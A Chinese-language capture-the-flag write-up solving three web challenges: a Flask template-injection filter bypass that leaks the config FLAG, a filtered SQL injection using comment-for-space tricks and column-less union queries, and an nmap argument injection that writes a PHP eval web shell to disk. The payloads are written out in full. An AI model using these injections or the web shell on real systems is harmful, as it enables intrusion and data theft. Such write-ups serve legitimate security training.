[WesternCTF2018]shrine 1
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
这里flask,这里其实是ssti模板注入,在路径尝试/shrine/{{4*5}} 在源码中看源码app.config['FLAG'] = os.environ.pop('FLAG') ,注册了一个名为FLAG的config,可以用{undefined{config}} 可查看所有app.config内容,但是这题设了黑名单过滤了[‘config’,‘self’] 并且过滤了括号,但是python还有一些内置函数,比如url_for 和get_flashed_messages 。 路径尝试/shrine/{{url_for.__globals__}}
显示current_app,那就查看当下的config /shrine/{{url_for.__globals__['current_app'].config}}
同理/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
也可以直接找config的FLAG/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
[SWPU2019]Web1 1
注册登录后,可以申请发布广告 这里发现sql注入,注入点在广告名处,这里尝试1’发现报错
一顿尝试发现过滤了空格,or,and,–+,#,order等等,这里order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,首先测出有22列
-1'/**/group/**/by/**/22,'2
测库名
-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
查询表时,发现information_schema.tables被过滤,这里get到一个新知识,可以用 sys.schema_auto_increment_columns 来注表名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
无法查列名这里用到无列名注入 CTF|mysql之无列名注入
本地测试一下,这是正常的查询
select * from test1;
select 1,2,3 union select * from test1;
如下图,列名被替换为了对应的数字。也就是说,我们可以继续使用数字来对应列,如 3 对应了表里面的 password:
select `3` from (select 1,2,3 union select * from test1)a;
执行结果如下图,末尾的 a 是任意字符,用于命名。 当 ` 被过滤也可以用任意别名来代替,但是得加一个as
select b from (select 1,2,3 as b union select * from test1)a;
回到本题,第二列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
第三列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
[网鼎杯 2020 朱雀组]Nmap 1
看到nmap仿佛想到之前有同样的操作,发现和[BUUCTF 2018]Online Tool 差不多,源代码提示flag在/flag nmap的一些保存操作
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
直接写入一句话
' <?php @eval($_POST["qwer"]);?> -oG 1.php '
报hacker,这里是过滤了php,换成phtml,一句话用短标签代替
' <?= @eval($_POST["qwer"]);?> -oG qwer.phtml '
直接命令执行,也可以蚁剑连接
|